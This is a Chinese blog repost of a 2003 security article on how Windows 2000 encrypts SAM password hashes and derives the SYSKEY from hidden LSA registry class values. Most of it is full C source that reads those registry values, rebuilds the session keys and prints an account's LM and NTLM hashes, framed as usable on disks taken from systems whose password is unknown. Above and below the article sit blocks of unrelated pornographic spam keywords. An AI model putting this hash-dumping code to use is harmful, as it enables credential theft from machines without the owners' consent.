青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

tqsheng

go.....
隨筆 - 366, 文章 - 18, 評論 - 101, 引用 - 0
數(shù)據(jù)加載中……

SAM的散列存儲加密解密算法以及SYSKEY的計算

SAM的散列存儲加密解密算法以及SYSKEY的計算


創(chuàng)建時間:2003-06-04
文章屬性:原創(chuàng)
文章提交:flashsky (flashsky1_at_sina.com)

SAM的散列存儲加密解密算法以及SYSKEY的計算
轉(zhuǎn)摘請注明作者和安全焦點
作者:FLASHSKY
SITE:WWW.XFOCUS.NETWWW.SHOPSKY.COM
郵件:flashsky@xfocus.org
作者單位:啟明星辰積極防御實驗室

    SAM中存放在密碼散列這是大家都知道的,但是其密碼存放在對應(yīng)相對SID的V鍵下面卻是一種加密的形式,如何通過這個加密的串計算出密碼散列了,大家用PWDUMP3這樣的工具可以導(dǎo)出散列來,主要原理是系統(tǒng)空間會存在一個sampsecretsessionkey,PWDUMP3就是拷貝一個服務(wù)到對方機器上,讀出這個lsass進程空間的sampsecretsessionkey再進行解密的,其實這個sampsecretsessionkey的生成也是非常復(fù)
雜的,我們這里做一個比PWDUMP3更深入的一個探討和分析,sampsecretsessionkey的計算與生成,這樣我們就能在直接從物理文件中計算出sampsecretsessionkey,來解密注冊表中的密碼散列,對于一個忘記密碼的系統(tǒng)或一個不知道用戶口令但已經(jīng)獲得磁盤的系統(tǒng)有這重要意義,這樣我們完全就能通過注冊表文件的分析來解密注冊表中的密碼散列。
        通過分析,我們發(fā)現(xiàn)以前在NT中常說的SYSKEY在W2K系統(tǒng)的這個過程中起著非常重要的作用,其實SYSKEY已經(jīng)做為W2K的一個固定組件而存在了,我們下面給出一個整個過程:
         系統(tǒng)引導(dǎo)時:
        計算獲得SYSKEY
        讀取注冊表中的SAM\SAM\Domains\Accoun\V中保存的KEY信息(一般是最后的0X38字節(jié)的前0X30字節(jié))
        使用SYSKEY和F鍵的前0X10字節(jié),與特殊的字串"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","0123456789012345678901234567890123456789"做MD5運算,再與F鍵的后0X20字節(jié)做RC4運算就可以獲得sampsecretsessionkey,這個
sampsecretsessionkey固定存放在LSASS進程中,作為解密SAM中加密數(shù)據(jù)到散列時用
    

-------------------------------------------------
|系統(tǒng)計算出的SYSKEY                              |
|F鍵信息的前0x10字節(jié)                             |MD5
|"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
|"0123456789012345678901234567890123456789"      |          |RC4
--------------------------------------------------          |------>sampsecretsessionkey
                                                            |
                     F鍵信息的后0x20字節(jié) -------------------

    
    當需要解密SAM中加密數(shù)據(jù)到散列時(如遠程登陸):
        讀取sampsecretsessionkey,再與當前用戶的相對SID,散列類型名(如LMPASSWORD,NTPASSWORD)做MD5運算獲得針對這個用戶密碼散列的sessionkey
        利用sessionkey用RC4解密第一道加密的散列,再將用戶相對ID擴展成14字節(jié)做DES切分,生成DESECB,再對用RC4處理后的散列進行分開成2次DES解密就可以獲得密碼散列。
       -------------------------
       |sampsecretsessionkey   |
       |sid                    |MD5
       |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
       |                       |                 |RC4    2次DES(填充SID做KEY切分)
       -------------------------                 |----->-------------------------->HASH
                                                                          |
                對應(yīng)的SAM中加密的密碼散列 ---------------------------------


    這個算法相當好,保證了不同用戶的相同散列在SAM存放不一樣(相對SID不一樣),不同機器的同一SID同口令的SAM中的散列存放不一樣(SYSKEY不同);
        這個算法的DES/RC4都是可逆的,這樣如果我們能通過離線(文件)方式獲得SYSKEY的話(其他的信息都可以分析SAM文件獲得),我們完全實現(xiàn)離線修改SAM中口令的效果,不過這需要對注冊表的結(jié)構(gòu)和SAM中V/F鍵的數(shù)據(jù)結(jié)構(gòu)再做深入的研究,這里就不談了。
        那么SYSKEY是如何計算出來的呢?這可能是我發(fā)現(xiàn)MS最牛皮的一個地方了,先開始想一定會存放在注冊表某處,呵呵,最后跟蹤MS引導(dǎo)時候的WINLOGON進程才知道,SYSKEY是這樣計算出來的,很多人會大掉眼鏡吧:
        SYSKEY的計算是:SYSTEM\\CurrentControlSet\\Control\\Lsa下的
        JD,Skew1,GBG,Data四個鍵值的CLASS值通過換位得來的,靠,佩服MS。這樣我們完全可以離線分析注冊表就能獲得對其SAM的加密散列的導(dǎo)出或改寫了。

    下面就是給出的完全實現(xiàn)計算SYSKEY-》sampsecretsessionkey,對特定用戶的SAM中加密的密碼散列再解密的代碼:當然如果從運行系統(tǒng)中解密散列也可以直接讀取sampsecretsessionkey,就象PWDUMP3那樣做的一樣也是可以的,但是如果要實現(xiàn)離線的就還需要再分析更多的東西。
    另外關(guān)于PWDUMP具體的方法,由于其是加密和反跟蹤的,我沒時間做仔細調(diào)式分析,但是從REGMON監(jiān)視其注冊表操作的過程來說,是沒有去讀LSA下的任何東西的,因此可以斷定他是直接獲得ampsecretsessionkey來進行對SAM內(nèi)容的解密到散列的。

//下面幾個函數(shù)的實現(xiàn),DES相關(guān)的盒,ECB等的定義參考我以前發(fā)的文章 中的代碼,這里不再給出
//void deskey(char * LmPass,unsigned char * desecb)
//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
//void md5init(unsigned char * LM);
//void md5final(unsigned char * LM);
//void initLMP(char * pass,unsigned char * LM);
//以前給出的des函數(shù)的實現(xiàn)沒有解密的部分,并且有個小錯誤,因此這里再給出完整的一個

#include <stdio.h>
#include <windows.h>
#include "des.h"

void getsyskey(unsigned char * syskey);
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
void md5init(unsigned char * LM);
void md5final(unsigned char * LM);
void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
void initLMP(char * pass,unsigned char * LM);
void deskey(char * LmPass,unsigned char * desecb);
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);

void main()
{
    int i;
    //下面為了簡單,這3個是直接指定的用戶,相對SID的注冊表鍵名和相對SID,大家也可以寫成完全根據(jù)用戶名獲取的方式
    char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
    char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
    unsigned long uid=0x1F4;
    unsigned char syskey[0x10];
    unsigned char ensamnt[0x10];
    unsigned char ensamlm[0x10];
    unsigned char sessionkey[0x10];
    unsigned char buf[0x400];
    unsigned char sampsecretsessionkey[0x10];
    unsigned char lmhash[0x10];
    unsigned char nthash[0x10];
    unsigned char fkey[0x30];
    unsigned long ss;
    DWORD regtype;
    DWORD regint;
    unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};

    HKEY hkResult;
    HKEY hkResult1;
    //SAM中的鍵讀取先要提升自己成為LOCASYSTEM權(quán)限,這里并沒有實現(xiàn),自己增加其中的代碼
    //讀出F鍵中用于計算
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
    if(ss!=0)
        printf("no Privilege!\n");
    ss=RegQueryValueEx(hkResult,"F", NULL,&regtype,buf,&regint);
    for(i=regint-1;i>=0;i--)
        if(buf[i]!=0)
            break;
    memcpy(fkey,buf+i-0x2f,0x30);
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
    //檢查此用戶是否存在
    if(ss!=ERROR_SUCCESS)
        return;
    //讀取該用戶下的V鍵中加密的散列信息
    //由于目前還未解析V中的結(jié)構(gòu),我們就直接讀最后的那一串,一般都是如此存放在此
    //但也不排除例外,那就需要具體分析V中的結(jié)構(gòu)來計算了
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
    ss=RegQueryValueEx(hkResult,"V", NULL,&regtype,buf,&regint);
    memcpy(ensamnt,buf+regint-0x18,0x10);
    memcpy(ensamlm,buf+regint-0x2c,0x10);
    
    //計算SYSKEY,W2K系統(tǒng)默認SYSKEY使用,且成為其固定的一個組件
    getsyskey(syskey);
    //利用SYSKEY,F(xiàn)鍵中的KEY計算sampsecretsessionkey
    getsampsecretsessionkey(syskey,fkey);
    memcpy(sampsecretsessionkey,fkey+0x10,0x10);
    //上面的就是系統(tǒng)引導(dǎo)時完成的工作,這個sampsecretsessionkey固定保存在LSASS的進程空間內(nèi)
    //當認證等或如PWDUMP3工作時候,就是先從系統(tǒng)中直接讀sampsecretsessionkey再進行處理

    //根據(jù)具體用戶的相對SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對LM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
    memcpy(lmhash,ensamlm,0x10);
    //利用SESSIONKEY,SAM中加密的LM散列,相對SID做RC4/DES解密獲得真正的散列
    getsamhash(lmhash,sessionkey,&uid);
    printf("HASH::");
    for(i=0;i<0x10;i++)
        printf("%02x",lmhash[i]);
    printf(":");
    //根據(jù)具體用戶的相對SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對NTLM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
    memcpy(nthash,ensamnt,0x10);
    //利用SESSIONKEY,SAM中加密的NTLM散列,相對SID做RC4/DES解密獲得真正的散列
    getsamhash(nthash,sessionkey,&uid);
    for(i=0;i<0x10;i++)
        printf("%02x",nthash[i]);
    printf("\n");
}

void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
{
    //利用SESSIONKEY,SAM中加密的LM散列,相對SID做RC4/DES解密獲得真正的散列
    unsigned char desecb[128];
    unsigned char rc4keylist[0x102];
    unsigned char LM[0x10];
    unsigned char p1[0xe];
    unsigned char p2[0x10];
    memcpy(p1,uid,4);
    memcpy(p1+4,uid,4);
    memcpy(p1+8,uid,4);
    memcpy(p1+0xc,uid,2);
    //上面是用SID填充DESECB的KEY
    rc4_key(rc4keylist,sessionkey,0x10);
    rc4_2bc6(rc4keylist,0x10,ensaminfo);
    //RC4處理一次再用DES解密
    initLMP(p1,LM);
    deskey(LM,desecb);
    des(p2,ensaminfo,desecb,0);
    initLMP(p1+7,LM);
    deskey(LM,desecb);
    des(p2+8,ensaminfo+8,desecb,0);
    memcpy(ensaminfo,p2,0x10);
}

void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
    //根據(jù)具體用戶的相對SID,要恢復(fù)散列的散列類型,MD5生成SESSIONKEY
    unsigned char LM[0x58];
    int len,i;

    md5init(LM);
    for(i=0;i<20;i++)
        if(passwordtype[i]==0)
            break;
    len=i+1;
    memcpy(LM+0x18,sampsskey,0x10);
    memcpy(LM+0x28,(unsigned char *)uid,4);
    memcpy(LM+0x2c,passwordtype,len);
    memset(LM+0x2c+len,0x80,1);
    memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
    *(DWORD *)LM=0x200;
    *(DWORD *)(LM+0X50)=0xF8;
    md5final(LM);
    memcpy(sessionkey,LM+8,0x10);
}

void getsyskey(unsigned char * syskey)
{
    unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
        0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};  
    //換位表
    unsigned char syskey1[0x10];
    HKEY hkResult;
    HKEY hkResult1;
    int i,j;
    long ss;
    unsigned char classinfo[0x10];
    DWORD c1;

    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
    if(ss!=ERROR_SUCCESS)
        return;
    ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
    i=0;
    memset(syskey1,0,0x10);
    c1=0x10;
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    //這4個鍵的CLASS值組合起來做換位就是MS的SYSKEY了
    for(i=0;i<0x10;i++)
    {
        syskey[keyselect[i]]=syskey1[i];
    }
    for(i=0;i<0x10;i++)
        printf("0x%02x ",syskey[i]);
    printf("\n");
}

void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
{
    unsigned char LM[0x58];
    unsigned char rc4keylist[0x102];
    char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
    char m2[]="0123456789012345678901234567890123456789";

    md5init(LM);
    memcpy(LM+0x18,fkey,0x10);
    memcpy(LM+0x28,m1,0x2f);
    memcpy(LM+0x57,syskey,1);
    *(DWORD *)LM=0x278;
    md5final(LM);
    memcpy(LM+0x18,syskey+1,0xf);
    memcpy(LM+0x27,m2,0x29);
    *(DWORD *)LM=0x5c0;
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    md5final(LM);
    *(DWORD *)LM=0x600;
    memset(LM+0x18,0,0x38);
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
    rc4_key(rc4keylist,LM+8,0x10);
    rc4_2bc6(rc4keylist,0x20,fkey+0x10);
    //這里生成在fkey中的前0X10字節(jié)就是sampsecretsessionkey
    md5init(LM);
    memcpy(LM+0x18,fkey+0x10,0x10);
    memcpy(LM+0x28,m2,0x29);
    memcpy(LM+0x51,fkey+0x10,0x7);
    *(DWORD *)LM=0x248;
    md5final(LM);
    memcpy(LM+0x18,fkey+0x17,0x9);
    memcpy(LM+0x21,m1,0x2f);
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    *(DWORD *)LM=0x5c0;
    md5final(LM);
    memset(LM+0x18,0,0x40);
    *(DWORD *)LM=0x600;
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
}

void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
{
    unsigned long c1;
    unsigned char d1,b1,a1;
    int i;
    c1=rc4keylist[0x100];
    d1=rc4keylist[0x101];
    for(i=0;i<keylen;i++)
    {
        c1=c1++;
        c1=c1%256;
        a1=rc4keylist[c1];
        d1=d1+a1;
        b1=rc4keylist[d1];
        rc4keylist[c1]=b1;
        rc4keylist[d1]=a1;
        a1=a1+b1;
        b1=key[i];
        a1=rc4keylist[a1];
        b1=b1^a1;
        key[i]=b1;
    }
}


void des(unsigned char * LM,char * magic,unsigned char * ecb,long no)
{
    DWORD d1,d2,d3,d4;
    DWORD a1,a2,a3;
    int i;
    d1= *(DWORD *)magic;
    d2= *(DWORD *)(magic+4);
    d1 = (d1<<4)|(d1>>0x1c);
    d3 = d1;
    d1 = (d1^d2)&0xf0f0f0f0;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 =(d2<<0x14)|(d2>>0xc);
    d1 = d2;
    d2 = (d2^d3)&0xfff0000f;
    d1 = d1 ^ d2;
    d3 = d3^d2;
    d1 = (d1<<0xe)|(d1>>0x12);
    d2 = d1;
    d1 = (d1 ^ d3) & 0x33333333;
    d2 = d2 ^ d1;
    d3 = d3^d1;
    d3 = (d3<<0x16)|(d3>>0xa);
    d1 = d3;
    d3 = (d3 ^ d2)&0x3fc03fc;
    d1 = d1^d3;
    d2 = d2^d3;
    d1 = (d1<<9)|(d1>>0x17);
    d3 = d1;
    d1 = (d1^d2)&0xaaaaaaaa;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 = (d2<<1)|(d2>>0x1f);
    if(no!=0)
    {
        for(i=0;i<8;i++)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i);
            d4=*(DWORD *)(ecb+16*i+4);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
    else
    {
        for(i=7;i>=0;i--)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+0);
            d4=*(DWORD *)(ecb+16*i+0x4);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
}

posted on 2013-02-11 10:46 tqsheng 閱讀(406) 評論(0)  編輯 收藏 引用


只有注冊用戶登錄后才能發(fā)表評論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            老司机67194精品线观看| 欧美不卡在线视频| 国产主播在线一区| 久久最新视频| 欧美伊人久久| 亚洲国产精品成人综合| 伊人久久大香线蕉av超碰演员| 国产精品女人久久久久久| 亚洲最新视频在线播放| 亚洲美女视频在线免费观看| 亚洲另类黄色| 亚洲自拍啪啪| 久久精品国产一区二区三区| 日韩视频在线观看| 亚洲综合激情| 国产一区二区精品丝袜| 久久久一区二区三区| 日韩午夜三级在线| 亚洲日本一区二区| 亚洲午夜性刺激影院| 久久综合伊人77777蜜臀| 欧美亚洲专区| 亚洲免费观看高清在线观看| 一区二区三区蜜桃网| 亚洲电影天堂av| 亚洲精品字幕| 欧美精品v日韩精品v韩国精品v | 亚洲欧美在线观看| 美女露胸一区二区三区| 午夜久久久久久久久久一区二区| 亚洲国产人成综合网站| 亚洲欧洲在线观看| 亚洲风情在线资源站| 久久久xxx| 亚洲国产精品一区二区第四页av| 国产精品99久久久久久久女警| 久久精品国产久精国产爱| 亚洲淫性视频| 欧美国产激情二区三区| 欧美a级大片| 牛牛影视久久网| 国产精品五月天| 国产日韩精品一区二区| 国产精品久久久久久久app| 国外成人免费视频| 亚洲小少妇裸体bbw| 欧美搞黄网站| 欧美国产在线视频| 国产亚洲日本欧美韩国| 狠狠入ady亚洲精品| 99在线精品免费视频九九视| 欧美高清视频一区二区| 久久精品综合网| 一色屋精品视频在线观看网站| 亚洲人成网站在线播| 国产精品日日摸夜夜摸av| 伊大人香蕉综合8在线视| 欧美国产精品中文字幕| 黄色综合网站| 亚洲已满18点击进入久久| 日韩午夜av电影| 夜夜夜久久久| 亚洲欧美日韩直播| 久久国产精品亚洲va麻豆| 久久婷婷麻豆| 亚洲电影成人| 亚洲精品综合| 欧美华人在线视频| 国产精品一级久久久| 国产亚洲人成a一在线v站| 在线观看日韩欧美| 日韩午夜激情| 亚洲日韩欧美一区二区在线| 欧美激情aⅴ一区二区三区| 亚洲高清在线观看一区| 欧美a级一区二区| 亚洲国产精品第一区二区| 免费看的黄色欧美网站| 亚洲日本免费| 亚洲午夜女主播在线直播| 亚洲一区二区三区在线视频| 久久只有精品| 国产在线精品一区二区中文| 久久成人免费| 亚洲欧美激情四射在线日| 欧美涩涩视频| 欧美在线高清| 亚洲欧美日韩综合aⅴ视频| 国产一区二区三区久久悠悠色av | 欧美va亚洲va香蕉在线| 亚洲欧美日韩在线不卡| 亚洲第一精品影视| 久久久久久午夜| 久久精品国产清自在天天线| 卡通动漫国产精品| 欧美va亚洲va国产综合| 亚洲高清久久网| 久久综合给合久久狠狠色| 免费久久99精品国产自在现线| 国产综合网站| 久久riav二区三区| 午夜在线a亚洲v天堂网2018| 欧美三级午夜理伦三级中文幕 | 伊人久久综合97精品| 欧美激情中文不卡| 国产精品久久久久国产精品日日| 在线观看欧美日韩| 欧美影院在线| 久久综合中文| 亚洲国产视频a| 亚洲伊人伊色伊影伊综合网| 性久久久久久| 亚洲欧美激情视频| 免费观看日韩| 中文亚洲免费| 亚洲中无吗在线| 国产精品美女久久久久久久| 在线色欧美三级视频| 欧美在线一二三区| 久久国产欧美| 性色av一区二区三区红粉影视| 日韩亚洲欧美成人| 久久av免费一区| 欧美—级在线免费片| 免费观看一级特黄欧美大片| 久久黄色影院| 国产亚洲高清视频| 亚洲女人天堂av| 国产亚洲欧美一区二区三区| 日韩一区二区久久| 欧美一级专区免费大片| 亚洲视频一起| 伊人久久大香线蕉综合热线 | 美女免费视频一区| 亚洲免费成人av电影| 久久国产精品黑丝| 欧美日本国产一区| 在线免费观看日本一区| 久久久91精品国产| 欧美在线免费观看| 香蕉久久夜色精品国产| 欧美在线播放一区| 久久精品亚洲精品| 一本久久综合亚洲鲁鲁五月天| 欧美亚洲在线播放| 